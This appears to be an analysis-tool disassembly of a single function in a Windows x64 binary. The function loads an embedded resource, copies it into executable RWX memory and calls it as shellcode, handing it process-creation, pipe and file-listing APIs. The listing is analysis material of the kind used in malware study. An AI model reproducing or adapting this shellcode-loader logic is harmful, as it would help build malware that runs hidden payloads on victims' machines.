Function at 0x1400019e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x10f0]
mov eax, 0x11f0
call fcn.140005a90
sub rsp, rax
mov rax, qword [0x140038040]
xor rax, rsp
mov qword [rbp + 0x10e0], rax
lea r8, [0x140031ea8]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, edi
xor ecx, ecx
mov rsi, rax
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.1400254c0
mov r8d, 0x10f4
lea rdx, str.0_4_q_pq70i20_q_q38_5_4_q_pq70i18_q_q30_a_4_d_pq70i10_d_d18_e_4_q_pq70i8_q_q10_13_0_q_q8_q__14_0_q_q28_q__15_11_q_q70_q_i228_1c_4_d_d0_d_i8_21_13_q_q0_q_i0_25_4_d_d10_d_i2bc_2a_4_q_q18_q_pq70i260_32_2_q_pq18q0_q__35_4_q_q10_q_pq70i250_3d_4_q_pq10_q_q0_40_4_q_q0_q_pq70i250_48_4_q_q0_q_pq0_4b_4_b_pq0_b_i30_4e_4_q_q0_q_pq70i250_56_4_q_q0_q_pq0_59_4_b_pq0i1_b_i0_5d_4_q_q0_q_pq70i258_65_4_d_pq0_d_i1_6b_4_d_d0_d_i8_70_13_q_q0_q_ib_74_8_q_q18_q_lq70ie0_7c_4_q_q10_q_pq70i240_84_4_q_q30_q_pq70i260_8c_2_q_pq30q0_q__90_4_q_pq70i98_q_q0_98_12_q_pq70i98_q_i_1_a1_22_q_i45e_q__a7_4_d_d0_d_i8_ac_13_q_q0_q_ie_b0_16_d_d38_d_d38_b3_4_q_q10_q_pq70i250_bb_4_q_q30_q_pq10_be_4_d_d18_d_i104_c3_4_q_q10_q_pq70i240_cb_4_q_q40_q_pq70i260_d3_2_q_pq40q0_q__d7_17_d_d0_d_d0_d9_23_q_ifc_q__db_4_d_d0_d_i8_e0_13_q_q0_q_id_e4_4_q_q10_q_pq70i98_ec_4_q_q18_q_pq70i260_f4_2_q_pq18q0_q__f7_21_q_i487_q__fc_4_d_d0_d_i1_101_13_q_q0_q_i0_105_5_d_d0_b_pq70q0i10c_10d_12_d_d0_d_i2e_110_22_q_i432_q__116_4_d_d0_d_i8_11b_13_q_q0_q_i3_11f_4_q_q10_q_pq70i250_127_4_q_q10_q_pq10_12a_4_q_q18_q_pq70i260_132_2_q_pq18q0_q__135_12_q_q0_q_i14a_13b_24_q_i1a0_q__13d_4_d_d0_d_i8_142_13_q_q0_q_i3_146_4_q_q10_q_pq70i250_14e_4_q_q10_q_pq10_151_4_q_q18_q_pq70i260_159_2_q_pq18q0_q__15c_9_q_q0_q_i14a_162_4_d_d10_d_i8_167_13_q_q10_q_i1_16b_4_q_pq70ic8_q_q10_173_4_q_q18_q_q0_176_4_q_q0_q_pq70i250_17e_4_q_q10_q_pq0_181_4_q_q0_q_pq70i260_189_4_q_q30_q_pq70ic8_191_2_q_pq0q30_q__195_4_q_q10_q_pq70i250_19d_4_q_pq10_q_q0_1a0_4_d_d0_d_i8_1a5_13_q_q0_q_if_1a9_8_q_q18_q_lq70ib8_1b1_8_q_q10_q_lq70if4_1b9_4_q_q30_q_pq70i260_1c1_2_q_pq30q0_q__1c5_17_d_d0_d_d0_1c7_23_q_i1ea_q__1c9_4_d_d0_d_i8_1ce_13_q_q0_q_id_1d2_4_q_q10_q_pq70i98_1da_4_q_q18_q_pq70i260_1e2_2_q_pq18q0_q__1e5_21_q_i45e_q__1ea_4_b_pq70i60_b_ia_1ef_4_b_pq70i61_b_i25_1f4_4_b_pq70i62_b_i64_1f9_4_b_pq70i63_b_i2c_1fe_4_b_pq70i64_b_i25_203_4_b_pq70i65_b_i73_208_4_b_pq70i66_b_i2c_20d_4_b_pq70i67_b_i25_212_4_b_pq70i68_b_i6c_217_4_b_pq70i69_b_i6c_21c_4_b_pq70i6a_b_i75_221_4_b_pq70i6b_b_i2c_226_4_b_pq70i6c_b_i25_22b_4_b_pq70i6d_b_i30_230_4_b_pq70i6e_b_i34_235_4_b_pq70i6f_b_i64_23a_4_b_pq70i70_b_i2e_23f_4_b_pq70i71_b_i25_244_4_b_pq70i72_b_i30_249_4_b_pq70i73_b_i32_24e_4_b_pq70i74_b_i64_253_4_b_pq70i75_b_i2e_258_4_b_pq70i76_b_i25_25d_4_b_pq70i77_b_i30_262_4_b_pq70i78_b_i32_267_4_b_pq70i79_b_i64_26c_4_b_pq70i7a_b_i20_271_4_b_pq70i7b_b_i25_276_4_b_pq70i7c_b_i30_27b_4_b_pq70i7d_b_i32_280_4_b_pq70i7e_b_i64_285_4_b_pq70i7f_b_i3a_28a_4_b_pq70i80_b_i25_292_4_b_pq70i81_b_i30_29a_4_b_pq70i82_b_i32_2a2_4_b_pq70i83_b_i64_2aa_4_b_pq70i84_b_i3a_2b2_4_b_pq70i85_b_i25_2ba_4_b_pq70i86_b_i30_2c2_4_b_pq70i87_b_i32_2ca_4_b_pq70i88_b_i64_2d2_4_b_pq70i89_b_i0_2da_4_d_d0_d_pq70ie0_2e1_14_d_d0_d_i10_2e4_17_d_d0_d_d0_2e6_22_q_i2f5_q__2e8_4_d_pq70i90_d_i1_2f3_21_q_i300_q__2f5_4_d_pq70i90_d_i0_300_6_d_d0_w_pq70ic4_308_4_d_pq70ia0_d_d0_30f_6_d_d10_w_pq70ic2_317_4_d_pq70ia4_d_d10_31e_6_d_d18_w_pq70ic0_326_4_d_pq70ia8_d_d18_32d_6_d_d30_w_pq70ibe_336_4_d_pq70iac_d_d30_33e_6_d_d38_w_pq70iba_347_4_d_pq70ib0_d_d38_34f_6_d_d40_w_pq70ib8_358_4_d_pq70ib4_d_d40_360_4_d_d48_d_pq70ifc_368_18_q_q48_q_i20_36c_4_d_d8_d_pq70i100_373_15_q_q48_q_q8_376_4_q_q8_q_q48_379_4_d_d48_d_i8_37f_13_q_q48_q_i3_383_4_q_q28_q_pq70i250_38b_4_q_q10_q_pq28_38e_4_q_q28_q_pq70i260_396_2_q_pq28q48_q__39a_4_q_q10_q_pq70i250_3a2_9_q_q0_q_pq10_3a5_4_d_d10_d_i8_3aa_13_q_q10_q_i6_3ae_4_q_pq70id0_q_q10_3b6_4_d_d18_d_pq70ia0_3bd_4_d_pq70i58_d_d18_3c1_4_d_d18_d_pq70ia4_3c8_4_d_pq70i50_d_d18_3cc_4_d_d18_d_pq70ia8_3d3_4_d_pq70i48_d_d18_3d7_4_d_d18_d_pq70iac_3de_4_d_pq70i40_d_d18_3e2_4_d_d18_d_pq70ib0_3e9_4_d_pq70i38_d_d18_3ed_4_d_d18_d_pq70ib4_3f4_4_d_pq70i30_d_d18_3f8_4_q_pq70i28_q_q8_3fd_8_q_q18_q_lq70i10c_405_4_q_pq70i20_q_q18_40a_4_d_d38_d_pq70i90_412_8_q_q30_q_lq70i60_417_4_d_d18_d_i14a_41c_4_q_q10_q_q0_41f_4_q_q0_q_pq70i260_427_4_q_q8_q_pq70id0_42f_2_q_pq0q8_q__432_4_d_d0_d_i8_437_13_q_q0_q_ic_43b_8_q_q18_q_lq70ie0_443_4_q_q10_q_pq70i98_44b_4_q_q8_q_pq70i260_453_2_q_pq8q0_q__456_17_d_d0_
lea rcx, [rbp - 0x20]
call fcn.1400254c0
movzx eax, word [0x140032fbc]
mov r8, 0xffffffffffffffff
movups xmm0, xmmword [str.C:WindowsSystem32]
mov ecx, dword [0x140032fb8]
mov word [rbp - 0x2c], ax
lea rax, [fcn.14000ee50]
mov qword [rsp + 0x40], rax
lea rax, [0x14000bd50]
mov qword [rsp + 0x48], rax
lea rax, [fcn.14000ea20]
mov qword [rsp + 0x50], rax
lea rax, [0x14000ddc0]
mov qword [rsp + 0x58], rax
lea rax, [0x14000e96c]
mov qword [rsp + 0x60], rax
lea rax, [fcn.14000dd50]
mov qword [rsp + 0x68], rax
lea rax, [0x140001160]
mov qword [rsp + 0x70], rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x78], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rbp - 0x80], rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
mov qword [rbp - 0x78], rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rbp - 0x70], rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rbp - 0x68], rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
mov qword [rbp - 0x60], rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rbp - 0x58], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov qword [rbp - 0x50], rax
mov rax, qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x40]
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], ecx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140001b70
lea rax, [rsp + 0x40]
inc r8d
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x20]
call rdi
movsxd rcx, dword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
mov byte [rcx + rax], 0
mov rdx, qword [rsp + 0x38]
call fcn.140001ce0
xor eax, eax
mov rcx, qword [rbp + 0x10e0]
xor rcx, rsp
call fcn.140005440
lea r11, [rsp + 0x11f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret